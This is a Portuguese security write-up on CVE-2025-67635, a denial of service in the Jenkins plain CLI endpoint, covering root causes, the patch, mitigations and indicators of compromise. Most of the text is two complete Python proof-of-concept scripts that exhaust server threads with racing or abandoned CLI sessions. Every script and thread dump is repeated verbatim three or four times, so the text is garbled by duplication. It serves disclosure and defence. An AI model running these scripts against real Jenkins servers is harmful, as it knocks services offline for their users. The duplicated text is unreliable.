CVE-2025-67635: DoS não autenticado no endpoint do plain CLI do Jenkins

O que o endpoint faz

O CLI sem Remoting constrói um canal full-duplex a partir de duas requisições POST HTTP:

1. Lado download: Side: download, abre /cli?remoting=false, o servidor escreve um byte e aguarda a metade upload

2. Lado upload: Side: upload, mesmo UUID de Session, fornece o input stream

hudson.cli.CLIAction conecta isso ao jenkins.util.FullDuplexHttpService, armazenando as sessões ativas em um registro compartilhado entre requisições.

Causa raiz #1: Registro de sessões sem sincronização (race condition)

CLIAction mantém o mapa de sessões em um HashMap simples compartilhado por todas as threads de requisição:

// core/src/main/java/hudson/cli/CLIAction.java:83
private final transient Map<UUID, FullDuplexHttpService> duplexServices = new HashMap<>();

// core/src/main/java/hudson/cli/CLIAction.java:83
private final transient Map<UUID, FullDuplexHttpService> duplexServices = new HashMap<>();

// core/src/main/java/hudson/cli/CLIAction.java:83
private final transient Map<UUID, FullDuplexHttpService> duplexServices = new HashMap<>();

// core/src/main/java/hudson/cli/CLIAction.java:83
private final transient Map<UUID, FullDuplexHttpService> duplexServices = new HashMap<>();

FullDuplexHttpService.Response.generateResponse chama services.put(uuid, service) para o lado download e services.get(uuid) para o lado upload. Como HashMap não é thread-safe, puts/gets concorrentes sob carga podem

• retornar null para um lado download válido;

• perder entradas durante um resize;

• deixar threads de download dentro de FullDuplexHttpService.download aguardando até 15 segundos por um upload que já chegou.

O resultado: Cada par afetado pela race condition bloqueia uma thread do servlet durante todo o timeout enquanto os sockets do atacante se fecham imediatamente, causando um DoS assimétrico e violando o requisito de segurança “Tornar fluxos de lógica crítica thread safe”.

Causa raiz #2: Timeouts ausentes no protocolo (bloqueio determinístico)

Mesmo quando as duas metades se emparelham corretamente, o handshake do protocolo pode entrar em deadlock porque nenhum lado tem timeout:

// core/src/main/java/hudson/cli/CLIAction.java:300
synchronized (this) {
    while (!ready) {      // waits forever if client never sends "start"
        wait();
    }
}
// core/src/main/java/jenkins/util/FullDuplexHttpService.java:145
while (!completed) {       // no deadline if download side dies early
    wait();
}

// core/src/main/java/hudson/cli/CLIAction.java:300
synchronized (this) {
    while (!ready) {      // waits forever if client never sends "start"
        wait();
    }
}
// core/src/main/java/jenkins/util/FullDuplexHttpService.java:145
while (!completed) {       // no deadline if download side dies early
    wait();
}

// core/src/main/java/hudson/cli/CLIAction.java:300
synchronized (this) {
    while (!ready) {      // waits forever if client never sends "start"
        wait();
    }
}
// core/src/main/java/jenkins/util/FullDuplexHttpService.java:145
while (!completed) {       // no deadline if download side dies early
    wait();
}

// core/src/main/java/hudson/cli/CLIAction.java:300
synchronized (this) {
    while (!ready) {      // waits forever if client never sends "start"
        wait();
    }
}
// core/src/main/java/jenkins/util/FullDuplexHttpService.java:145
while (!completed) {       // no deadline if download side dies early
    wait();
}

Se o cliente encerrar a conexão antes de enviar frames CLI, a thread de download fica bloqueada em ServerSideImpl.run() e a thread de upload fica bloqueada em upload() sem timeout, consumindo duas threads do Jetty por tentativa até esgotar o controller.

Notas de exploração

Ambos os vetores exigem apenas conectividade de rede ao /cli:

• Cenário A (race condition): Dispare pares download/upload sobrepostos com leve jitter para que o lado upload ocasionalmente receba null. As threads se acumulam em FullDuplexHttpService.download por cerca de 15 segundos cada.

• Cenário B (abandono): Abra ambas as metades, deixe-as emparelhar, e depois feche sem enviar frames CLI. As threads ficam em CLIAction$ServerSideImpl.run e FullDuplexHttpService.upload indefinidamente, sem necessidade de janela de timing.

Abaixo estão as PoCs exatas compartilhadas com a equipe de segurança do Jenkins:

PoC: racecond_a.py (race no HashMap, dois downloads por UUID)

#!/usr/bin/env python3
import requests
import uuid
import concurrent.futures
import sys

def create_download(jenkins_url, session_id, session):
    headers = {'Session': session_id, 'Side': 'download'}
    try:
        response = session.post(
            f"{jenkins_url}/cli?remoting=false",
            headers=headers,
            data=b'',
            timeout=20
        )
        return response.status_code
    except requests.exceptions.Timeout:
        return 'TIMEOUT'
    except Exception:
        return 'ERROR'

def main(jenkins_url, num_sessions):
    session = requests.Session()
    adapter = requests.adapters.HTTPAdapter(
        max_retries=0,
        pool_connections=200,
        pool_maxsize=200
    )
    session.mount('http://', adapter)
    session.mount('https://', adapter)
    
    with concurrent.futures.ThreadPoolExecutor(max_workers=200) as executor:
        futures = []
        
        for i in range(num_sessions):
            session_id = str(uuid.uuid4())
            futures.append(executor.submit(create_download, jenkins_url, session_id, session))
            futures.append(executor.submit(create_download, jenkins_url, session_id, session))
        
        timeouts = 0
        for future in concurrent.futures.as_completed(futures):
            if future.result() == 'TIMEOUT':
                timeouts += 1
    
    print(f"Timeouts: {timeouts}/{num_sessions*2}")

if __name__ == "__main__":
    jenkins_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8081"
    num_sessions = int(sys.argv[2]) if len(sys.argv) > 2 else 1000
    main(jenkins_url, num_sessions)

#!/usr/bin/env python3
import requests
import uuid
import concurrent.futures
import sys

def create_download(jenkins_url, session_id, session):
    headers = {'Session': session_id, 'Side': 'download'}
    try:
        response = session.post(
            f"{jenkins_url}/cli?remoting=false",
            headers=headers,
            data=b'',
            timeout=20
        )
        return response.status_code
    except requests.exceptions.Timeout:
        return 'TIMEOUT'
    except Exception:
        return 'ERROR'

def main(jenkins_url, num_sessions):
    session = requests.Session()
    adapter = requests.adapters.HTTPAdapter(
        max_retries=0,
        pool_connections=200,
        pool_maxsize=200
    )
    session.mount('http://', adapter)
    session.mount('https://', adapter)
    
    with concurrent.futures.ThreadPoolExecutor(max_workers=200) as executor:
        futures = []
        
        for i in range(num_sessions):
            session_id = str(uuid.uuid4())
            futures.append(executor.submit(create_download, jenkins_url, session_id, session))
            futures.append(executor.submit(create_download, jenkins_url, session_id, session))
        
        timeouts = 0
        for future in concurrent.futures.as_completed(futures):
            if future.result() == 'TIMEOUT':
                timeouts += 1
    
    print(f"Timeouts: {timeouts}/{num_sessions*2}")

if __name__ == "__main__":
    jenkins_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8081"
    num_sessions = int(sys.argv[2]) if len(sys.argv) > 2 else 1000
    main(jenkins_url, num_sessions)

#!/usr/bin/env python3
import requests
import uuid
import concurrent.futures
import sys

def create_download(jenkins_url, session_id, session):
    headers = {'Session': session_id, 'Side': 'download'}
    try:
        response = session.post(
            f"{jenkins_url}/cli?remoting=false",
            headers=headers,
            data=b'',
            timeout=20
        )
        return response.status_code
    except requests.exceptions.Timeout:
        return 'TIMEOUT'
    except Exception:
        return 'ERROR'

def main(jenkins_url, num_sessions):
    session = requests.Session()
    adapter = requests.adapters.HTTPAdapter(
        max_retries=0,
        pool_connections=200,
        pool_maxsize=200
    )
    session.mount('http://', adapter)
    session.mount('https://', adapter)
    
    with concurrent.futures.ThreadPoolExecutor(max_workers=200) as executor:
        futures = []
        
        for i in range(num_sessions):
            session_id = str(uuid.uuid4())
            futures.append(executor.submit(create_download, jenkins_url, session_id, session))
            futures.append(executor.submit(create_download, jenkins_url, session_id, session))
        
        timeouts = 0
        for future in concurrent.futures.as_completed(futures):
            if future.result() == 'TIMEOUT':
                timeouts += 1
    
    print(f"Timeouts: {timeouts}/{num_sessions*2}")

if __name__ == "__main__":
    jenkins_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8081"
    num_sessions = int(sys.argv[2]) if len(sys.argv) > 2 else 1000
    main(jenkins_url, num_sessions)

#!/usr/bin/env python3
import requests
import uuid
import concurrent.futures
import sys

def create_download(jenkins_url, session_id, session):
    headers = {'Session': session_id, 'Side': 'download'}
    try:
        response = session.post(
            f"{jenkins_url}/cli?remoting=false",
            headers=headers,
            data=b'',
            timeout=20
        )
        return response.status_code
    except requests.exceptions.Timeout:
        return 'TIMEOUT'
    except Exception:
        return 'ERROR'

def main(jenkins_url, num_sessions):
    session = requests.Session()
    adapter = requests.adapters.HTTPAdapter(
        max_retries=0,
        pool_connections=200,
        pool_maxsize=200
    )
    session.mount('http://', adapter)
    session.mount('https://', adapter)
    
    with concurrent.futures.ThreadPoolExecutor(max_workers=200) as executor:
        futures = []
        
        for i in range(num_sessions):
            session_id = str(uuid.uuid4())
            futures.append(executor.submit(create_download, jenkins_url, session_id, session))
            futures.append(executor.submit(create_download, jenkins_url, session_id, session))
        
        timeouts = 0
        for future in concurrent.futures.as_completed(futures):
            if future.result() == 'TIMEOUT':
                timeouts += 1
    
    print(f"Timeouts: {timeouts}/{num_sessions*2}")

if __name__ == "__main__":
    jenkins_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8081"
    num_sessions = int(sys.argv[2]) if len(sys.argv) > 2 else 1000
    main(jenkins_url, num_sessions)

PoC: racecond_b.py (abandono de protocolo, bloqueio determinístico)

#!/usr/bin/env python3
import socket
import struct
import uuid
import time
import threading
import sys

JENKINS_HOST = "localhost"
JENKINS_PORT = 8081

OP_ARG = 0
OP_LOCALE = 1
OP_ENCODING = 2

def send_cli_frame(sock, opcode, data=b""):
    if isinstance(data, str):
        data = data.encode('utf-8')
    length = len(data)
    frame = struct.pack('>I', length) + struct.pack('B', opcode) + data
    sock.sendall(frame)

def establish_download(session_id, duration=30):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((JENKINS_HOST, JENKINS_PORT))
        request = f"""POST /cli?remoting=false HTTP/1.1\r
Host: {JENKINS_HOST}:{JENKINS_PORT}\r
Session: {session_id}\r
Side: download\r
Content-Length: 0\r
Connection: keep-alive\r
\r
"""
        sock.sendall(request.encode())
        response = b""
        while b"\r\n\r\n" not in response:
            chunk = sock.recv(1)
            if not chunk:
                return False
            response += chunk
        sock.recv(1)
        time.sleep(duration)
        sock.close()
        return True
    except Exception:
        return False

def establish_upload_without_start(session_id, duration=30):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((JENKINS_HOST, JENKINS_PORT))
        request = f"""POST /cli?remoting=false HTTP/1.1\r
Host: {JENKINS_HOST}:{JENKINS_PORT}\r
Session: {session_id}\r
Side: upload\r
Transfer-Encoding: chunked\r
Connection: keep-alive\r
\r
"""
        sock.sendall(request.encode())
        response = b""
        while b"\r\n\r\n" not in response:
            chunk = sock.recv(1)
            if not chunk:
                return False
            response += chunk
        send_cli_frame(sock, OP_ARG, "help")
        time.sleep(0.05)
        send_cli_frame(sock, OP_LOCALE, "en_US")
        time.sleep(0.05)
        send_cli_frame(sock, OP_ENCODING, "UTF-8")
        time.sleep(duration)
        sock.close()
        return True
    except Exception:
        return False

def create_abandoned_session(session_id, duration=30):
    download_thread = threading.Thread(
        target=establish_download,
        args=(session_id, duration),
        daemon=True
    )
    download_thread.start()
    time.sleep(0.3)
    upload_thread = threading.Thread(
        target=establish_upload_without_start,
        args=(session_id, duration),
        daemon=True
    )
    upload_thread.start()
    return download_thread, upload_thread

def main(num_sessions):
    threads = []
    for i in range(num_sessions):
        session_id = str(uuid.uuid4())
        download_t, upload_t = create_abandoned_session(session_id, duration=60)
        threads.extend([download_t, upload_t])
        time.sleep(0.1)
    
    for t in threads:
        t.join()
    
    print(f"Created {num_sessions} sessions")

if __name__ == "__main__":
    num_sessions = int(sys.argv[1]) if len(sys.argv) > 1 else 500
    main(num_sessions)

#!/usr/bin/env python3
import socket
import struct
import uuid
import time
import threading
import sys

JENKINS_HOST = "localhost"
JENKINS_PORT = 8081

OP_ARG = 0
OP_LOCALE = 1
OP_ENCODING = 2

def send_cli_frame(sock, opcode, data=b""):
    if isinstance(data, str):
        data = data.encode('utf-8')
    length = len(data)
    frame = struct.pack('>I', length) + struct.pack('B', opcode) + data
    sock.sendall(frame)

def establish_download(session_id, duration=30):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((JENKINS_HOST, JENKINS_PORT))
        request = f"""POST /cli?remoting=false HTTP/1.1\r
Host: {JENKINS_HOST}:{JENKINS_PORT}\r
Session: {session_id}\r
Side: download\r
Content-Length: 0\r
Connection: keep-alive\r
\r
"""
        sock.sendall(request.encode())
        response = b""
        while b"\r\n\r\n" not in response:
            chunk = sock.recv(1)
            if not chunk:
                return False
            response += chunk
        sock.recv(1)
        time.sleep(duration)
        sock.close()
        return True
    except Exception:
        return False

def establish_upload_without_start(session_id, duration=30):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((JENKINS_HOST, JENKINS_PORT))
        request = f"""POST /cli?remoting=false HTTP/1.1\r
Host: {JENKINS_HOST}:{JENKINS_PORT}\r
Session: {session_id}\r
Side: upload\r
Transfer-Encoding: chunked\r
Connection: keep-alive\r
\r
"""
        sock.sendall(request.encode())
        response = b""
        while b"\r\n\r\n" not in response:
            chunk = sock.recv(1)
            if not chunk:
                return False
            response += chunk
        send_cli_frame(sock, OP_ARG, "help")
        time.sleep(0.05)
        send_cli_frame(sock, OP_LOCALE, "en_US")
        time.sleep(0.05)
        send_cli_frame(sock, OP_ENCODING, "UTF-8")
        time.sleep(duration)
        sock.close()
        return True
    except Exception:
        return False

def create_abandoned_session(session_id, duration=30):
    download_thread = threading.Thread(
        target=establish_download,
        args=(session_id, duration),
        daemon=True
    )
    download_thread.start()
    time.sleep(0.3)
    upload_thread = threading.Thread(
        target=establish_upload_without_start,
        args=(session_id, duration),
        daemon=True
    )
    upload_thread.start()
    return download_thread, upload_thread

def main(num_sessions):
    threads = []
    for i in range(num_sessions):
        session_id = str(uuid.uuid4())
        download_t, upload_t = create_abandoned_session(session_id, duration=60)
        threads.extend([download_t, upload_t])
        time.sleep(0.1)
    
    for t in threads:
        t.join()
    
    print(f"Created {num_sessions} sessions")

if __name__ == "__main__":
    num_sessions = int(sys.argv[1]) if len(sys.argv) > 1 else 500
    main(num_sessions)

#!/usr/bin/env python3
import socket
import struct
import uuid
import time
import threading
import sys

JENKINS_HOST = "localhost"
JENKINS_PORT = 8081

OP_ARG = 0
OP_LOCALE = 1
OP_ENCODING = 2

def send_cli_frame(sock, opcode, data=b""):
    if isinstance(data, str):
        data = data.encode('utf-8')
    length = len(data)
    frame = struct.pack('>I', length) + struct.pack('B', opcode) + data
    sock.sendall(frame)

def establish_download(session_id, duration=30):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((JENKINS_HOST, JENKINS_PORT))
        request = f"""POST /cli?remoting=false HTTP/1.1\r
Host: {JENKINS_HOST}:{JENKINS_PORT}\r
Session: {session_id}\r
Side: download\r
Content-Length: 0\r
Connection: keep-alive\r
\r
"""
        sock.sendall(request.encode())
        response = b""
        while b"\r\n\r\n" not in response:
            chunk = sock.recv(1)
            if not chunk:
                return False
            response += chunk
        sock.recv(1)
        time.sleep(duration)
        sock.close()
        return True
    except Exception:
        return False

def establish_upload_without_start(session_id, duration=30):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((JENKINS_HOST, JENKINS_PORT))
        request = f"""POST /cli?remoting=false HTTP/1.1\r
Host: {JENKINS_HOST}:{JENKINS_PORT}\r
Session: {session_id}\r
Side: upload\r
Transfer-Encoding: chunked\r
Connection: keep-alive\r
\r
"""
        sock.sendall(request.encode())
        response = b""
        while b"\r\n\r\n" not in response:
            chunk = sock.recv(1)
            if not chunk:
                return False
            response += chunk
        send_cli_frame(sock, OP_ARG, "help")
        time.sleep(0.05)
        send_cli_frame(sock, OP_LOCALE, "en_US")
        time.sleep(0.05)
        send_cli_frame(sock, OP_ENCODING, "UTF-8")
        time.sleep(duration)
        sock.close()
        return True
    except Exception:
        return False

def create_abandoned_session(session_id, duration=30):
    download_thread = threading.Thread(
        target=establish_download,
        args=(session_id, duration),
        daemon=True
    )
    download_thread.start()
    time.sleep(0.3)
    upload_thread = threading.Thread(
        target=establish_upload_without_start,
        args=(session_id, duration),
        daemon=True
    )
    upload_thread.start()
    return download_thread, upload_thread

def main(num_sessions):
    threads = []
    for i in range(num_sessions):
        session_id = str(uuid.uuid4())
        download_t, upload_t = create_abandoned_session(session_id, duration=60)
        threads.extend([download_t, upload_t])
        time.sleep(0.1)
    
    for t in threads:
        t.join()
    
    print(f"Created {num_sessions} sessions")

if __name__ == "__main__":
    num_sessions = int(sys.argv[1]) if len(sys.argv) > 1 else 500
    main(num_sessions)

#!/usr/bin/env python3
import socket
import struct
import uuid
import time
import threading
import sys

JENKINS_HOST = "localhost"
JENKINS_PORT = 8081

OP_ARG = 0
OP_LOCALE = 1
OP_ENCODING = 2

def send_cli_frame(sock, opcode, data=b""):
    if isinstance(data, str):
        data = data.encode('utf-8')
    length = len(data)
    frame = struct.pack('>I', length) + struct.pack('B', opcode) + data
    sock.sendall(frame)

def establish_download(session_id, duration=30):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((JENKINS_HOST, JENKINS_PORT))
        request = f"""POST /cli?remoting=false HTTP/1.1\r
Host: {JENKINS_HOST}:{JENKINS_PORT}\r
Session: {session_id}\r
Side: download\r
Content-Length: 0\r
Connection: keep-alive\r
\r
"""
        sock.sendall(request.encode())
        response = b""
        while b"\r\n\r\n" not in response:
            chunk = sock.recv(1)
            if not chunk:
                return False
            response += chunk
        sock.recv(1)
        time.sleep(duration)
        sock.close()
        return True
    except Exception:
        return False

def establish_upload_without_start(session_id, duration=30):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((JENKINS_HOST, JENKINS_PORT))
        request = f"""POST /cli?remoting=false HTTP/1.1\r
Host: {JENKINS_HOST}:{JENKINS_PORT}\r
Session: {session_id}\r
Side: upload\r
Transfer-Encoding: chunked\r
Connection: keep-alive\r
\r
"""
        sock.sendall(request.encode())
        response = b""
        while b"\r\n\r\n" not in response:
            chunk = sock.recv(1)
            if not chunk:
                return False
            response += chunk
        send_cli_frame(sock, OP_ARG, "help")
        time.sleep(0.05)
        send_cli_frame(sock, OP_LOCALE, "en_US")
        time.sleep(0.05)
        send_cli_frame(sock, OP_ENCODING, "UTF-8")
        time.sleep(duration)
        sock.close()
        return True
    except Exception:
        return False

def create_abandoned_session(session_id, duration=30):
    download_thread = threading.Thread(
        target=establish_download,
        args=(session_id, duration),
        daemon=True
    )
    download_thread.start()
    time.sleep(0.3)
    upload_thread = threading.Thread(
        target=establish_upload_without_start,
        args=(session_id, duration),
        daemon=True
    )
    upload_thread.start()
    return download_thread, upload_thread

def main(num_sessions):
    threads = []
    for i in range(num_sessions):
        session_id = str(uuid.uuid4())
        download_t, upload_t = create_abandoned_session(session_id, duration=60)
        threads.extend([download_t, upload_t])
        time.sleep(0.1)
    
    for t in threads:
        t.join()
    
    print(f"Created {num_sessions} sessions")

if __name__ == "__main__":
    num_sessions = int(sys.argv[1]) if len(sys.argv) > 1 else 500
    main(num_sessions)

Evidência

• Thread dump (Cenário B, controller de teste Jenkins 2.516.2): Travados exatamente nos call sites sem timeout:

at hudson.cli.CLIAction$ServerSideImpl.run(CLIAction.java:319)
- locked <0x00000000f0d9ba90> (a hudson.cli.CLIAction$ServerSideImpl)
at jenkins.util.FullDuplexHttpService.download(FullDuplexHttpService.java:119)

at jenkins.util.FullDuplexHttpService.upload(FullDuplexHttpService.java:146)
- locked <0x00000000f0d9aaa0> (a hudson.cli.CLIAction$PlainCliEndpointResponse$1)
at jenkins.util.FullDuplexHttpService$Response.generateResponse(FullDuplexHttpService.java:191)

at hudson.cli.CLIAction$ServerSideImpl.run(CLIAction.java:319)
- locked <0x00000000f0d9ba90> (a hudson.cli.CLIAction$ServerSideImpl)
at jenkins.util.FullDuplexHttpService.download(FullDuplexHttpService.java:119)

at jenkins.util.FullDuplexHttpService.upload(FullDuplexHttpService.java:146)
- locked <0x00000000f0d9aaa0> (a hudson.cli.CLIAction$PlainCliEndpointResponse$1)
at jenkins.util.FullDuplexHttpService$Response.generateResponse(FullDuplexHttpService.java:191)

at hudson.cli.CLIAction$ServerSideImpl.run(CLIAction.java:319)
- locked <0x00000000f0d9ba90> (a hudson.cli.CLIAction$ServerSideImpl)
at jenkins.util.FullDuplexHttpService.download(FullDuplexHttpService.java:119)

at jenkins.util.FullDuplexHttpService.upload(FullDuplexHttpService.java:146)
- locked <0x00000000f0d9aaa0> (a hudson.cli.CLIAction$PlainCliEndpointResponse$1)
at jenkins.util.FullDuplexHttpService$Response.generateResponse(FullDuplexHttpService.java:191)

at hudson.cli.CLIAction$ServerSideImpl.run(CLIAction.java:319)
- locked <0x00000000f0d9ba90> (a hudson.cli.CLIAction$ServerSideImpl)
at jenkins.util.FullDuplexHttpService.download(FullDuplexHttpService.java:119)

at jenkins.util.FullDuplexHttpService.upload(FullDuplexHttpService.java:146)
- locked <0x00000000f0d9aaa0> (a hudson.cli.CLIAction$PlainCliEndpointResponse$1)
at jenkins.util.FullDuplexHttpService$Response.generateResponse(FullDuplexHttpService.java:191)

• Evidência em vídeo: Reprodução completa do crash contra um controller recém-instalado.

• Em um build vulnerável, você verá dezenas de threads de requisição aguardando nesses call sites, e chamadas CLI regulares começarão a dar timeout.

Impacto

• DoS não autenticado: Não é necessário Overall/Read para acessar /cli?remoting=false

• Baixo custo para o atacante: Os sockets fecham imediatamente, o servidor retém o trabalho (15 segundos por tentativa de race, infinito para abandono)

• Degradação de todo o controller: As threads do servlet e os fluxos de E/S se acumulam, outros endpoints começam a dar timeout

Detalhes do patch

Commit principal: efa1816

• CLIAction agora armazena as sessões em um ConcurrentHashMap, eliminando as perdas do HashMap com race conditions que potencializavam o DoS assimétrico.

• ServerSideImpl.run e FullDuplexHttpService.upload adotaram waits limitados por CONNECTION_TIMEOUT com wake-ups de 1 segundo e logs de DEBUG, de modo que handshakes abandonados se desfazem em vez de estacionar threads.

• PlainCLIProtocol agora sempre chama side.handleClose() em um bloco finally, garantindo que ambas as metades se desmontem mesmo diante de erros de leitura ou exceções de runtime.

• Foi adicionada cobertura de regressão em Security3630Test (JUnit 5): Reduz o timeout do CLI para testes, exercita a race condition anterior com invocações CLI concorrentes e verifica que as threads são liberadas após streams truncados.

• Efeito final: O emparelhamento de download/upload do CLI agora falha rápido e libera threads do Jetty em vez de bloquear indefinidamente aguardando contrapartes ausentes.

• As alterações restauram a conformidade do path do CLI full-duplex com o requisito “Tornar os fluxos de lógica crítica thread safe”.

Referências do CVE e advisory

• SECURITY-3630 recebeu o identificador CVE-2025-67635 (CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H). Veja o registro do CNA em cve.org e a entrada do NIST no NVD para metadados canônicos.

• Write-up oficial do Jenkins: Jenkins Security Advisory 2025-12-10: SECURITY-3630.

Correção e hardening

Se você não puder atualizar imediatamente, faça o seguinte:

• Desabilite ou bloqueie o acesso ao endpoint do plain CLI a partir de redes não confiáveis; prefira o WebSocket CLI com autenticação adequada.

• Reduza os limites de threads do Jetty somente como último recurso (não elimina o bug).

• Monitore thread dumps buscando estados de wait em CLIAction$ServerSideImpl.run e FullDuplexHttpService.upload/download.

Indicadores de comprometimento

• Mensagens repetidas de IOException: No download side found for <uuid> nos logs.

• Thread dumps mostrando muitos TIMED_WAITING em FullDuplexHttpService.download ou WAITING em CLIAction$ServerSideImpl.run / FullDuplexHttpService.upload.

• Picos de requisições a /cli?remoting=false sem headers de autenticação.

Aplique o patch imediatamente. Este é um path de DoS fácil e acessível pela rede em instalações de Jenkins com configuração padrão.